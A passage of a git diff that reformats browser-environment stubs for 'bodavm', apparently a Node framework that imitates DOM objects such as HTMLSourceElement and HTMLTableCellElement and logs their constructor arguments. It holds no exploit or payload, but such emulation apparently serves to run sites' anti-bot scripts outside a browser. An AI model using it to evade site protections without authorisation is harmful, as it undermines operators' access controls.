bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "add", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "checkValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function checkValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "checkValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "item", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "namedItem", { + configurable: true, + enumerable: true, + writable: true, + value: function namedItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "namedItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "remove", { + configurable: true, + enumerable: true, + writable: true, + value: function remove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "remove", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "reportValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function reportValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "reportValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "setCustomValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function setCustomValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "setCustomValidity", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLSlotElement.js b/env_xbb_lastest_jsdom/env/HTMLSlotElement.js index 677cf48c..40bc2102 100644 --- a/env_xbb_lastest_jsdom/env/HTMLSlotElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLSlotElement.js @@ -1,9 +1,53 @@ -// HTMLSlotElement对象 -bodavm.memory.globalobj['HTMLSlotElement'] = function HTMLSlotElement(){if (!(this instanceof HTMLSlotElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLSlotElement'], "HTMLSlotElement"); -bodavm.memory.globalobj['HTMLSlotElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLSlotElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLSlotElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSlotElement'].prototype, "HTMLSlotElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSlotElement'].prototype, "HTMLSlotElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSlotElement', "assign", {configurable:true, enumerable:true, writable:true, value:function assign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSlotElement'].prototype, "HTMLSlotElement", "assign", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSlotElement', "assignedElements", {configurable:true, enumerable:true, writable:true, value:function assignedElements (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSlotElement'].prototype, "HTMLSlotElement", "assignedElements", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSlotElement', "assignedNodes", {configurable:true, enumerable:true, writable:true, value:function assignedNodes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSlotElement'].prototype, "HTMLSlotElement", "assignedNodes", arguments)}},'prototype'); +// HTMLSlotElement对象 + +bodavm.memory.globalobj['HTMLSlotElement'] = function HTMLSlotElement() { + console.log_copy('HTMLSlotElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLSlotElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLSlotElement'], "HTMLSlotElement"); +bodavm.memory.globalobj['HTMLSlotElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLSlotElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLSlotElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSlotElement'].prototype, "HTMLSlotElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSlotElement'].prototype, "HTMLSlotElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSlotElement', "assign", { + configurable: true, + enumerable: true, + writable: true, + value: function assign() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSlotElement'].prototype, "HTMLSlotElement", "assign", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSlotElement', "assignedElements", { + configurable: true, + enumerable: true, + writable: true, + value: function assignedElements() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSlotElement'].prototype, "HTMLSlotElement", "assignedElements", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSlotElement', "assignedNodes", { + configurable: true, + enumerable: true, + writable: true, + value: function assignedNodes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSlotElement'].prototype, "HTMLSlotElement", "assignedNodes", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLSourceElement.js b/env_xbb_lastest_jsdom/env/HTMLSourceElement.js index fed8eefe..d2e917b9 100644 --- a/env_xbb_lastest_jsdom/env/HTMLSourceElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLSourceElement.js @@ -1,12 +1,89 @@ -// HTMLSourceElement对象 -bodavm.memory.globalobj['HTMLSourceElement'] = function HTMLSourceElement(){if (!(this instanceof HTMLSourceElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLSourceElement'], "HTMLSourceElement"); -bodavm.memory.globalobj['HTMLSourceElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLSourceElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLSourceElement', "src", {configurable:true, enumerable:true, get:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "src_get", arguments)}, set:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "src_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSourceElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSourceElement', "srcset", {configurable:true, enumerable:true, get:function srcset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "srcset_get", arguments)}, set:function srcset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "srcset_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSourceElement', "sizes", {configurable:true, enumerable:true, get:function sizes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "sizes_get", arguments)}, set:function sizes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "sizes_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSourceElement', "media", {configurable:true, enumerable:true, get:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "media_get", arguments)}, set:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "media_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSourceElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "width_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSourceElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "height_set", arguments)}},'prototype'); +// HTMLSourceElement对象 + +bodavm.memory.globalobj['HTMLSourceElement'] = function HTMLSourceElement() { + console.log_copy('HTMLSourceElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLSourceElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLSourceElement'], "HTMLSourceElement"); +bodavm.memory.globalobj['HTMLSourceElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLSourceElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLSourceElement', "src", { + configurable: true, + enumerable: true, + get: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "src_get", arguments); + }, + set: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "src_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSourceElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSourceElement', "srcset", { + configurable: true, + enumerable: true, + get: function srcset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "srcset_get", arguments); + }, + set: function srcset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "srcset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSourceElement', "sizes", { + configurable: true, + enumerable: true, + get: function sizes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "sizes_get", arguments); + }, + set: function sizes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "sizes_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSourceElement', "media", { + configurable: true, + enumerable: true, + get: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "media_get", arguments); + }, + set: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "media_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSourceElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "width_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSourceElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "height_get", arguments); + }, + set: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "height_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLSpanElement.js b/env_xbb_lastest_jsdom/env/HTMLSpanElement.js index 81d0f3ee..992e6c52 100644 --- a/env_xbb_lastest_jsdom/env/HTMLSpanElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLSpanElement.js @@ -1,5 +1,19 @@ -// HTMLSpanElement对象 -bodavm.memory.globalobj['HTMLSpanElement'] = function HTMLSpanElement(){if (!(this instanceof HTMLSpanElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLSpanElement'], "HTMLSpanElement"); -bodavm.memory.globalobj['HTMLSpanElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLSpanElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +// HTMLSpanElement对象 + +bodavm.memory.globalobj['HTMLSpanElement'] = function HTMLSpanElement() { + console.log_copy('HTMLSpanElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLSpanElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLSpanElement'], "HTMLSpanElement"); +bodavm.memory.globalobj['HTMLSpanElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLSpanElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLStyleElement.js b/env_xbb_lastest_jsdom/env/HTMLStyleElement.js index 02e6d23a..69bde980 100644 --- a/env_xbb_lastest_jsdom/env/HTMLStyleElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLStyleElement.js @@ -1,10 +1,67 @@ -// HTMLStyleElement对象 -bodavm.memory.globalobj['HTMLStyleElement'] = function HTMLStyleElement(){if (!(this instanceof HTMLStyleElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLStyleElement'], "HTMLStyleElement"); -bodavm.memory.globalobj['HTMLStyleElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLStyleElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLStyleElement', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "disabled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLStyleElement', "media", {configurable:true, enumerable:true, get:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "media_get", arguments)}, set:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "media_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLStyleElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLStyleElement', "sheet", {configurable:true, enumerable:true, get:function sheet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "sheet_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLStyleElement', "blocking", {configurable:true, enumerable:true, get:function blocking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "blocking_get", arguments)}, set:function blocking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "blocking_set", arguments)}},'prototype'); +// HTMLStyleElement对象 + +bodavm.memory.globalobj['HTMLStyleElement'] = function HTMLStyleElement() { + console.log_copy('HTMLStyleElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLStyleElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLStyleElement'], "HTMLStyleElement"); +bodavm.memory.globalobj['HTMLStyleElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLStyleElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLStyleElement', "disabled", { + configurable: true, + enumerable: true, + get: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "disabled_get", arguments); + }, + set: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "disabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLStyleElement', "media", { + configurable: true, + enumerable: true, + get: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "media_get", arguments); + }, + set: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "media_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLStyleElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLStyleElement', "sheet", { + configurable: true, + enumerable: true, + get: function sheet() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "sheet_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLStyleElement', "blocking", { + configurable: true, + enumerable: true, + get: function blocking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "blocking_get", arguments); + }, + set: function blocking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "blocking_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLTableCaptionElement.js b/env_xbb_lastest_jsdom/env/HTMLTableCaptionElement.js index d531dced..5ebff6b3 100644 --- a/env_xbb_lastest_jsdom/env/HTMLTableCaptionElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLTableCaptionElement.js @@ -1,6 +1,29 @@ -// HTMLTableCaptionElement对象 -bodavm.memory.globalobj['HTMLTableCaptionElement'] = function HTMLTableCaptionElement(){if (!(this instanceof HTMLTableCaptionElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTableCaptionElement'], "HTMLTableCaptionElement"); -bodavm.memory.globalobj['HTMLTableCaptionElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLTableCaptionElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLTableCaptionElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCaptionElement'].prototype, "HTMLTableCaptionElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCaptionElement'].prototype, "HTMLTableCaptionElement", "align_set", arguments)}},'prototype'); +// HTMLTableCaptionElement对象 + +bodavm.memory.globalobj['HTMLTableCaptionElement'] = function HTMLTableCaptionElement() { + console.log_copy('HTMLTableCaptionElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLTableCaptionElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTableCaptionElement'], "HTMLTableCaptionElement"); +bodavm.memory.globalobj['HTMLTableCaptionElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLTableCaptionElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLTableCaptionElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCaptionElement'].prototype, "HTMLTableCaptionElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCaptionElement'].prototype, "HTMLTableCaptionElement", "align_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLTableCellElement.js b/env_xbb_lastest_jsdom/env/HTMLTableCellElement.js index bbdcf10e..539bea31 100644 --- a/env_xbb_lastest_jsdom/env/HTMLTableCellElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLTableCellElement.js @@ -1,20 +1,167 @@ -// HTMLTableCellElement对象 -bodavm.memory.globalobj['HTMLTableCellElement'] = function HTMLTableCellElement(){if (!(this instanceof HTMLTableCellElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTableCellElement'], "HTMLTableCellElement"); -bodavm.memory.globalobj['HTMLTableCellElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLTableCellElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "colSpan", {configurable:true, enumerable:true, get:function colSpan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "colSpan_get", arguments)}, set:function colSpan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "colSpan_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "rowSpan", {configurable:true, enumerable:true, get:function rowSpan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "rowSpan_get", arguments)}, set:function rowSpan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "rowSpan_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "headers", {configurable:true, enumerable:true, get:function headers (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "headers_get", arguments)}, set:function headers (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "headers_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "cellIndex", {configurable:true, enumerable:true, get:function cellIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "cellIndex_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "align_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "axis", {configurable:true, enumerable:true, get:function axis (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "axis_get", arguments)}, set:function axis (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "axis_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "height_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "width_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "ch", {configurable:true, enumerable:true, get:function ch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "ch_get", arguments)}, set:function ch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "ch_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "chOff", {configurable:true, enumerable:true, get:function chOff (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "chOff_get", arguments)}, set:function chOff (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "chOff_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "noWrap", {configurable:true, enumerable:true, get:function noWrap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "noWrap_get", arguments)}, set:function noWrap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "noWrap_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "vAlign", {configurable:true, enumerable:true, get:function vAlign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "vAlign_get", arguments)}, set:function vAlign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "vAlign_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "bgColor", {configurable:true, enumerable:true, get:function bgColor (){return 